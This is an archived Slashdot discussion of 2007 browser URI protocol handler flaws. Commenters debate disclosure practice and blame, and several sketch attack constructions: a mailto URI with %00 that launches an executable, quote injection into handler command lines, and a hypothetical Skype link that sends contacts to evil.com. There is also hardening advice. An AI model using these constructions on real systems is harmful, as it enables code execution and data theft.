Slashdot Mirror

← Back to Stories (view on slashdot.org)

New URI Browser Flaws Worse Than First Thought

Posted by samzenpus on from the bad-to-worse dept.

narramissic writes "URI (Uniform Resource Identifier) bugs have become a hot topic over the past month, since researcher Thor Larholm showed how a browser could be tricked into sending malformed data to Firefox. Now, security researchers Billy Rios and Nathan McFeters say they've discovered a number of ways attackers could misuse the URI protocol handler technology to steal data from a victim's computer. 'It is possible through the URI to actually steal content form the user's machine and upload that content to a remote server of the attacker's choice,' said McFetters, a senior security advisor for Ernst & Young Global Ltd. 'This is all through functionality that the application provides.'"

36 of 149 comments (clear)

  1. Oh my by zmotula · · Score: 4, Informative
    There is not a SINGLE technical detail about the bug in the article. The first paragraph pretty much says it all:

    Security researchers Billy Rios and Nathan McFeters say they've discovered a new way that the URI (Uniform Resource Identifier) protocol handler technology, used by Windows to launch programs through the browser, can be misused to steal data from a victim's computer.

    It is impossible to say whether this bug is really exploitable, whether it matters at all. So far they ("security researchers") can be only getting a free publicity. Is this news for nerds?
    1. Re:Oh my by MrNaz · · Score: 2, Informative

      It's because the whole idea of launching apps on the user's computer with whatever parameters one wants is really, only one step away from executing arbitrary code.

      Think
      callto://skypeuser?some&params&that&induce&sending &contacts&someone&else

      Or something similar. I think the MS guy shouldn't have said "We at MS don't think we should be responsible for this" as it sounds like they *could* do something if they wanted. He really should have said "We can't stop stupid software makers being stupid. We can do bugger all about this." It's not often MS can legitimately pass the security buck, I'm surprised they didn't ride it for all it's worth this time.

      --
      I hate printers.
    2. Re:Oh my by hanshotfirst · · Score: 3, Insightful

      There is not a SINGLE technical detail about the bug in the article.
      That's on purpose - they don't want their article to give hackers any real direction on how to exploit it. From TFA..."Rios and McFetters plan to release the results of their research after the vendor has had a chance to fix the problem".

      Yes, this is news for nerds - I know I'll be avoiding the URI protocol cautiously, if at all. I am duly informed. (Of course a real nerd would have known this already, so I have to turn in my card, I guess.)

      Nothing to gripe about here - move along.
      --
      Why, oh why, didn't I take the Blue Pill?
    3. Re:Oh my by Opportunist · · Score: 3, Interesting

      I have a working example here on my desk. The problem is it's so effing trivial that it's not even funny. Unlike buffer overflows or other exploits that at least require some kind of understanding, this requires a trained monkey who can use a keyboard.

      I'm usually all for the spread of information, but this has the potential to be a scriptkiddy's wet dream. And as I've stated before, I don't fear the hacker, I fear the scriptkiddy. Not because he's smart, but because he's many and he drowns you simply with quantity, not quality.

      --
      We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
    4. Re:Oh my by martin-boundary · · Score: 3, Informative

      That's on purpose - they don't want their article to give hackers any real direction on how to exploit it.
      Sorry, but that's bullshit. Anyone can say they discovered an exploit, heck I discovered 14 just today while brushing my teeth :)

      The only thing that happens when people "claim" to have discovered an exploit without proof is that a lot of gullible people start panicking and unscrupulous reporters and bloggers who'll propagate the rumour for weeks. It's like yelling "fire" in a crowded room.

      If they really have an exploit, they should just share it or STFU. There's enough garbage information on the internet as is, there's no need for them to the dung pile.

    5. Re:Oh my by Fred_A · · Score: 3, Informative

      There is not a SINGLE technical detail about the bug in the article. Except that this is (yet again) a Windows only problem, a fact which the summary could have pointed out thus saving me the effort of browsing the article (and having to kill that stupid ad iframe I couldn't even close).

      --

      May contain traces of nut.
      Made from the freshest electrons.
    6. Re:Oh my by CaymanIslandCarpedie · · Score: 3, Insightful

      Patience grasshopper, details will be released soon enough. Their method of reporting seems to be becoming kind of an accepted best practice for "responsible reporting" of bugs. I fully support ones right to just release day 0 exploit sample code if they so choose, though I don't think it's the best idea. It seems notifying the makers of effected software at roughly same time as releasing very high level information about the exploit is becoming the best way to both avoid in the wild attacks as well as ensure the issue is addressed.

      In this case, additional researchers have even verified the issue after the initial report. If you still don't believe there is an issue (fair enough it's good to be skeptical), you can always do a tad of research into these researches history to help decide if you think they are trustworthy or not. If still that isn't enough, well then I guess you'll have to just find these issues yourself and you can publish anything you want about them. Until then the researchers who find an issue should have the right to handle it any way they choose. They don't answer to you.

      It's like yelling "fire" in a crowded room.

      Seems more like they are more warning that there is a pile of debris in the room which could be a fire hazard. You suggestion would be more like noticing that fire hazard and deciding to dump gas on it and then toss on a match.

      --
      "reality has a well-known liberal bias" - Steven Colbert
    7. Re:Oh my by martin-boundary · · Score: 2, Insightful
      Why should the onus be on others to check their work for them? Can't they check their own work before making an announcement?

      It's very nice of them if they want to give the vendors time to fix their software, but they should announce their results _after_ the patch is ready in that case. Announcing early and claiming "responsible reporting" while not explaining enough for users to protect themselves is a publicity stunt.

      Here's a few things that I think are wrong with the "responsible reporting" idea: it publically slanders software products without proof. It causes people to worry about undisclosed threats which may or may not affect them. It turns security research into a hype game where advisories must be taken on faith rather than fact.

      These problems go away if the researchers either announce with proof ASAP, or if they announce once a patch is ready.

      /2 cents.

    8. Re:Oh my by MikeBabcock · · Score: 2, Insightful
      You don't need to provide a working example to explain the details. They could be saying something like:

      if you've installed vulnerable 3rd party url handlers, clicking malformed urls could lead to exploits
      in which case I don't care at all.

      I'm sure there are people who install 3rd party URL handlers as willy nilly as they install free screensavers and weather applets, but I don't, and neither should they, so again, I don't care.

      If on the other hand they're saying there's a URI parsing error in major browsers that is itself exploitable, that's different. Details are important. You could yell "fire" in a crowded theatre because you saw someone light a lighter, and you wouldn't be lying, but you left out a few good details.
      --
      - Michael T. Babcock (Yes, I blog)
    9. Re:Oh my by CaymanIslandCarpedie · · Score: 3, Interesting

      These problems go away if the researchers either announce with proof ASAP, or if they announce once a patch is ready.

      I don't think either of those suggestions are "bad", just that sadly they have historically had thier own issues which at least in many peoples opinions outway the gains of those methods.

      "announce with proof ASAP" - sadly history shows that when this is done unscrupulous people will then take that knowledge and use it to create malware which can cause MAJOR damage. This is why there has been talk of even making this illegal (which I COMPLETELY disagree with). It is true that "with proof" a tiny percentage of the computer using population will be able to avoid the issue. However, the VAST majority still won't even hear of the issue (as they don't follow such news) let alone know what to do about it. The result is hackers are given the gift of complete knowledge of an exploit which many millions of computers and users will have no defense against.

      "announce once a patch is ready" - again sadly it has been shown over and over again that many (if not most) products will not put the urgency into a security fix unless there is public pressure to do so. This has certainly improved greatly over the last decade, but I still don't think we are at a point where we can trust them on this without pressure.

      There is a fairly popular variation on your second idea which is to notify the software developer but don't announce until you have given them reasonable time to patch it. This will give them the chance to do the "right thing" on thier own without the public pressure but researchers can still release the information later if they feel the patch is too long in coming.

      I actually do prefer that option, but there is the arguement that a company will never feel quite the sense of urgency as they would when an overview of the issue hits the media. And it follows that then the patch will take longer and someone less than altruistic could also find the same issue in the mean time and release an exploit.

      I don't have a real strong preference between the options of notify the software developers first and wait a reasonable amount of time, or notify and release high level overview at the same time. I'd actually probably have a slight preference for the former, but it does seem the later is the more popular. Probably for the reasons you give, that they want to be sure they are given the credit (and attention) of the find ;-)

      --
      "reality has a well-known liberal bias" - Steven Colbert
    10. Re:Oh my by Intron · · Score: 5, Informative

      mozilla bug 389580

      "On Windows XP some urls for "web" protocols that contain %00 launch the wrong
      handler and appear to be able to launch local programs, with limited argument
      passing. It is not yet clear that this can be used to compromise a machine but
      we can always fear the worst.

      The same behavior is observed using "Run" from the Windows Start menu for the
      affected protocols (http, https, ftp, gopher, telnet, mailto, news, snews,
      nttp, possibly others?).

      The behavior seems to be that if there's a %00 in the URL for these schemes
      then the URL Protocol handler is not called, instead the FileType handler is
      called based on the extension of the full url. The url is then passed to that
      File handler. For "non-web" URL handlers the URL is passed to the expected
      handler.

      In Firefox browser protocols are handled internally so are not vulnerable, but
      the mailnews protocols are handed off to the OS and can be abused in this way."

      ====
      So you can construct a uri like: "mailto:/...%00...something.exe"
      Firefox sees mailto and hands it to Windows to give it to the mail program
      Windows sees %00 and mistakenly hands it to the FileType handler.
      The FileType handler sees ".exe" and runs the program.

      --
      Intron: the portion of DNA which expresses nothing useful.
    11. Re:Oh my by jimbojw · · Score: 2, Informative
      For anyone looking for more information about this problem, here you go: Here are some useful excerpts from the Cert advisory:

      Internet Explorer 7 has changed how Microsoft Windows parses URIs. This has introduced a flaw that can cause Windows to incorrectly determine the appropriate handler for the protocol specified in a URI. This flaw appears to rely on having a "%" character in the URI.

      Publicly available exploit code uses Mozilla Firefox as an attack vector for this vulnerability. For more information, including workarounds, please see VU#783400

      It seems that the injection mechanism is to use Firefox, but the exploit requires IE 7 to be installed on the victim's computer.

      Interesting excerpts from the secwatch advisory:

      The vulnerability is due to an input validation error handling system default URIs with registered URI handlers such as "mailto", "news", "nntp", "snews" and "telnet". This can be exploited to execute arbitrary commands when a user e.g. using Firefox visits a malicious website with a specially crafted "mailto" URI containing a "%" character and ends in a certain extension (e.g. ".bat", ".cmd")

      Confirmed on a fully patched Windows XP SP2 and Windows Server 2003 SP2 system using Firefox version 2.0.0.5 and Netscape Navigator version 9.0b2. Other versions and browsers may also be affected.
      In the comments to this article a user by the name of kruador points out:

      This is utter rubbish. ShellExecuteEx wasn't updated with IE 7.0. It is a core OS feature - on Windows XP SP2 systems the most recent update was in the MS07-006 security update.

      All this function does is look up the URL protocol handler in the registry - for example, http: is at HKEY_CLASSES_ROOT\http - and look for the shell\open key. If a ddeexec key is found under that key, it uses DDE to send the URL to the registered program. If not, it runs the command under the command key, replacing the %1 in the command line with the URL to be processed.

      IE uses ShellExecuteEx whenever it encounters a URL protocol it does not handle internally - basically only http:, https: and ftp:. The Windows Explorer 'Run' dialog calls ShellExecuteEx when you enter a URL into the dialog (in fact, when you enter *anything* into the dialog). It's how Explorer locates a program when you double-click a document file.

      The question here is a difference of opinion over whether certain characters should be escaped in the command line or not. The behaviour of ShellExecute[Ex] has not changed. Microsoft are simply saying that Firefox has to cope with whatever it's presented with; Mozilla are saying it would be nice if certain characters were escaped.

      [UPDATE:] I have since discovered that Internet Explorer decodes URL-encoded (%-encoded) characters and passes the decoded version to ShellExecuteEx. This allows an attacker to inject " characters into the command line, terminating the URL argument, and allowing further command line options to be specified.
      And most importantly, he concludes with:

      The simplest workaround is to place a special command line option in first position (included in the command line in the registry, before "%1") that indicates that the rest of the command line came from a URL protocol handler and should be treated with caution.
      Sounds like some registry hacking could solve the problem.
  2. Re:Web 2.0 developers have betrayed us all by Phroggy · · Score: 5, Insightful

    And this is the end result of their hubris.

    AJAX is a hack sat on top of a 15 year legacy of hacks, and ultimately serves no purpose other than giving the 'delicious generation' something to drool at. I know I shouldn't feed the trolls, but... you're a fool. This has nothing to do with AJAX or Web 2.0, this has to do with exploiting security holes that have probably been around for over a decade. But more than that: yes, AJAX is useful. When used properly, it can allow you to build a web site that is more powerful and easy-to-use than anything you could do without AJAX. Slashdot's new AJAX-based comment system is definitely an improvement, for example.
    --
    $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
    $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
  3. FTA: by tygerstripes · · Score: 4, Insightful

    By using these custom URI protocol names, software developers are trying to make lives easier for their customers.
    The article also states that this is a "hacker's dream and a programmer's nightmare".

    When a similar problem kicked off with the firefox:// protocol in IE all anyone could say was "Why the hell would anyone use this?" The answer seemed to be along the lines of "Nobody does - it was a stupid thing to include in the first place."

    Sounds like the same problem to me - and unnecessary and unsuitable solution to a non-existent problem causing far worse problems. As the proverb goes: if it ain't broke, don't start shoe-horning new and unsecured protocol-handling into the registry.

    --
    Meta will eat itself
    1. Re:FTA: by a.d.trick · · Score: 2, Interesting

      Nobody does - it was a stupid thing to include in the first place

      First off, it was called firefoxurl://. Second, it is used - by Windows. This is part of what is required when registering a browser on that OS. It's pretty important if you want to set Firefox as the default browser.

  4. News? by Opportunist · · Score: 4, Interesting

    "It's a hacker's dream and programmer's nightmare," said Eric Schultze, chief security architect with Shavlik Technologies LLC. "I think over the next six to nine months, hackers are going to find lots of ways to exploit standard applications to do non-standard functions."

    That's not news. That's old. Actually it's nothing but a change in the ancient URL/URI trick where you trick the user into believing a link sends him somewhere else (akin to something like this: http://www.microsoft.com).

    The new part is that the URL/URI contains malformed links. Links, that don't just take you somewhere or offer you a torrent, but links that exploit a bug in your application. But it will hit the same group of people: Clickmonkeys who don't know what they're doing in the first place.

    --
    We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
    1. Re:News? by ozmanjusri · · Score: 5, Funny
      Actually it's nothing but a change in the ancient URL/URI trick where you trick the user into believing a link sends him somewhere else (akin to something like this: www.microsoft.com.

      Thanks dude!

      I installed that update to XP, and now my computer runs like a dream. Microsoft finally got it right!

      --
      "I've got more toys than Teruhisa Kitahara."
    2. Re:News? by Opportunist · · Score: 3, Funny

      You should check out their new browser too, at IE7.com. It's really amazing! I don't know what they did, but even the exploits that should work on Internet Explorer 7 don't!

      --
      We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
    3. Re:News? by tygerstripes · · Score: 3, Funny

      You installed Gentoo in less than 48 hours? Christ, how times change...

      --
      Meta will eat itself
  5. Responsible application launching by JosefAssad · · Score: 5, Interesting
    Some of the discussion around this issue revolves around URI validation. Given that third parties can assign their own handlers, I don't think it's the browser's job to validate URIs, but it can provide the facilities to do so.

    It would probably just be simpler to disable this functionality by default; I suspect not many people are really using their browser to launch other applications or do much beyond straightforward browsing (you konqueror people are something completely different!), or at least not to any meaningful extent. Where they are, some form of URI whitelist could do the job.

    I don't think browsers are going to stop being capable of launching applications overnight; I fully acknowledge that a lot of enterprise systems rely on this. But it can certainly be done more responsibly.

    --
    The Banjo Players Must Die!
  6. Whew... by Spy+der+Mann · · Score: 4, Funny

    Good thing I use Firefox and not that "URI browser". I feel safe.

  7. Re:Web 2.0 developers have betrayed us all by MrNaz · · Score: 4, Funny

    Yea, that'd be pointless. Blue wins hands down.

    --
    I hate printers.
  8. Re:What is the OS coverage? by IBBoard · · Score: 5, Interesting

    Only it's not that the application may have a bug, but that it may have an intentional feature that is useful for users that can then be exploited through a link. It might have less security than it should, but that's poor planning and not a bug.

    Take someone's earlier example of Skype. Lets assume you can do "skype --export-contacts --dest /some/path/here". Nice and useful for when you're migrating settings on your own desktop. Now assume that Skype also lets you export to your website so that you can publish it to your site, so you can put a HTTP in there. Now assume that users have complained about popups prompting them and that they want a batch mode that lets them export each night to make sure they never lose data - so it doesn't prompt.

    You'd now have something like "skype --export-contacts --dest http://www.example.com/mybackupscript --batch-mode". It does exactly what you want, you can archive your contacts, and you can event do it overnight to a remote location so it's accessible to you from anywhere and won't be lost in a disk crash. Only someone didn't secure it very well (again, bad implementation, not a bug) and someone somehow gets you to click on a link saying "skype:export-contacts&dest=http://www.evil.com/my backupscript&batch-mode". That 'feature' is now being exploited to export your contacts to an arbitrary site without you even necessarily knowing.

    I'm sure there are lots of other similar alternatives, but the whole point is that it's badly validated input and not a bug. It's fairly sensible to have "skype:call-userid" as a link so that you can run up Skype and call someone. What it's not sensible to do is let that URI call do anything that can be done locally.

  9. Re:Web 2.0 developers have betrayed us all by DrSkwid · · Score: 4, Interesting

    > AJAX is only useful because people are trying to use HTTP and HTML in ways that HTTP and HTML weren't meant to be used.

    Using non idempotent GET / HEAD methods is poor programming but the purpose of HTTP is to share data using these methods http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.h tml
    HTTPXmlRequests should use those methods as described. It's not the fault of the technology,

    HTML/CSS is a display technology, I'm not sure how using it to display things is abuse of its intent.

    These flaws don't need XmlHttprequest, is also likely to be a vector

    --
    There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
  10. Custom prefixes... blah! by billcopc · · Score: 2, Interesting

    This is just an expansion (or rehash) of the exploit using custom "protocol" prefixes (the http:/// part). Now I must be on different intertubes than the rest of y'all, because I hardly ever (read: never) see anything but http, ftp and mailto in the links I use, and I build both public (as in gimmicky) web sites and business apps for a living. Anything else should be handled by a browser PLUGIN, not some creaky registry hack that can spawn any random process. The difference should be obvious: you can have a thousand executables on a PC, but probably less than a dozen browser plugins, making it a lot easier to spot suspicious bits.

    Why do we need so many bizarre launchers anyway ? Do people really click funky URIs in IE7 to launch the copy of Firefox that's already installed on their system ? How about a desktop icon, you stupid shits!

    --
    -Billco, Fnarg.com
  11. Re:Web 2.0 developers have betrayed us all by Anonymous Coward · · Score: 2, Interesting

    No, there is a connection to AJAX: The promise of Web 2.0 is to turn the web browser into an application host. It used to be a browser for information provided by others. It has become a framework for entering and organizing personal information. The security model of a web browser is very fragile and not at all adequate for an application which handles personal data. Everybody flogged Microsoft for trying to merge the desktop and the browser, because that creates an unmanageable mess. Now the web 2.0 crowd goes down the same path, only they don't store the data locally but put it on servers, which makes securing the data even more complicated. This particular bug does not exploit an AJAX bug, but it became possible only because the browser has become the central application on many desktops and users and developers alike found it necessary to integrate it with other applications that handle personal information. It got integrated in ways that are not acceptable for an application which has a network connection.

  12. Damn! by rdrd · · Score: 2, Funny

    I just pressed on that "slashdot://it.slashdot.org" link !!!

  13. It's called a URI by brunes69 · · Score: 3, Insightful

    It's part of the protocol. Any link on any web page should be able to specify ANY protocol.

    Is anyone complaining that Konqeuror can handle links like sftp://root@someftpsite ?

    The whole article is stupid. It is going to come out that this is not remotely exploitable unless you use another remote exploit to install the 3rd party protocol handler.

    Non story.

  14. Re:Care to provide details? by Anonymous Coward · · Score: 2, Insightful

    For those living under a rock: Many applications, including Firefox, install URI handlers by default. Many applications, including Firefox, have no or insufficient safeguards against dangerous URIs which are passed to them that way. Many applications, which render arbitrary remote data, can activate URI handlers with arbitrary URIs, often with no or trivial user interaction. If you think that is fine, you shouldn't dispense security advice.

  15. Re:Microsoft do it again by Anonymous Coward · · Score: 3, Informative

    Don't forget Mac and Linux. The ability to register a custom protocol handler to launch programs in the OS is standard. The ability to reference said protocol handler in a hyperlink is also standard. These problems effect every (major) OS.

    MacOSX has had a number of vulnerabilities due to URI handling:

    Daring Fireball - Using the 'telnet' URI Protocol to Delete Files
    Mac OS X Volume URI Handler Registration Code Execution Vulnerability
    Apple Mac OS X SSH URI Handler Remote Code Execution Vulnerability

    As long as you can get a browser to pass arbitrary data to an application you will be vulnerable. What needs to happen is that the custom protocol handlers should be white-listed by default requiring the user to explicitly allow a new protocol handler. Any protocol handler not handled directly by the browser should display a dialog to inform the user of the action and permit them to cancel it. The user needs to be aware that they're not clicking on a "normal" hyperlink.

    Ultimately I think the only way to really mitigate these kinds of security problems is to sandbox or virtualize the browser, which is actually what MS has done with IE7 in Vista. Vulnerabilities are inevitable so the OS and browser should do what it can to limit the extent of the damage that can be caused.

  16. Want to disable it alltogether ? by Anonymous Coward · · Score: 4, Informative

    Goto about:config and

    set network.protocol-handler.expose-all to false,
    network.protocol-handler.expose.http to true,
    network.protocol-handler.expose.javascript to true,
    network.protocol-handler.expose.mailto to true and
    remove all other network.protocol-handler.expose.*entries (or set them to false).

    Set network.protocol-handler.external-default to false,
    network.protocol-handler.external.mailto to true and
    remove all other network.protocol-handler.external.* entries (of set them to false).

    To be sure set network.protocol-handler.warn-external.file to true and
    remove all network.protocol-handler.warn-external.* entries (or set them to true).

    For more info start at http://kb.mozillazine.org/Network.protocol-handler .expose-all
    Beware, on windows things are different. See http://kb.mozillazine.org/Register_protocol

  17. It's not stupid. by argent · · Score: 2, Interesting

    The problem is that there's no way on Windows or OSX to register a protocol handler for shell programs (Finder, Windows Explorer, the KDE file manager) or applications internal use (help: on both Windows and OSX) without it also being available to the web browsers. This means that any application that isn't designed to deal with untrusted input that the browser developer hasn't yet explicitly blocked is a point of entry.

    Exploits using this approach have been found via IE since 1997, and via Safari since 2004.

  18. Re:It's the Usual M$ Sabotage and FUD. by Macthorpe · · Score: 2, Informative

    And yet this problem would be solved if Firefox didn't register a URI at all. Or it actually vetted data that was passed to that URI.

    Surprisingly it's not a problem if Firefox isn't installed.

    --
    "It does not do to leave a live dragon out of your calculations, if you live near him." - Tolkien
  19. Problem is not Firefox. by twitter · · Score: 2, Informative

    M$ Defender, Macthorpe claims what M$ won't directly:

    Surprisingly it's not a problem if Firefox isn't installed.

    Not even this highly spun article goes that far.

    Thor Larholm showed how a browser could be tricked into sending malformed data to Firefox using this technology. This bug allowed an attacker to run unauthorized software on a victim's PC. Later, other researchers, including Rios and McFetters, showed how other browsers and applications could be misused to achieve similar goals.

    So IE, mentioned as "a browser", sends the crap to Firefox and will do the trick on it's own. Also, as we have seen before, this was not a problem before IE7.

    --

    Friends don't help friends install M$ junk.

    1. Re:Problem is not Firefox. by dedazo · · Score: 2, Informative
      This has nothing to do with IE7. The URI handler functionality is something that has existed since Windows 98. Where do you think KDE got the bright idea for kioslaves? As long as you are responsible enough to check your inputs (which apparently IE6 and 7 and Opera do) then there shouldn't be any problem.

      You can stop trying to imply that this is some sort of sabotage by Microsoft, considering they'd be sabotaging themselves in the process. No different to your dumb claim that they "sabotaged" ACPI.

      --
      Web2.0: I love when people Flickr my cuil and digg my boingboing until my google is reddit and I start to yahoo
  20. Re:Care to provide details? by Opportunist · · Score: 2, Informative

    Basically what it does is to make an assumption that a certain application exists on your system. An application that's exploitable through the use of malformed links, or malformed data hitting the application when you follow that link. Certainly, you are perfectly safe if you do not happen to have this application installed.

    --
    We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.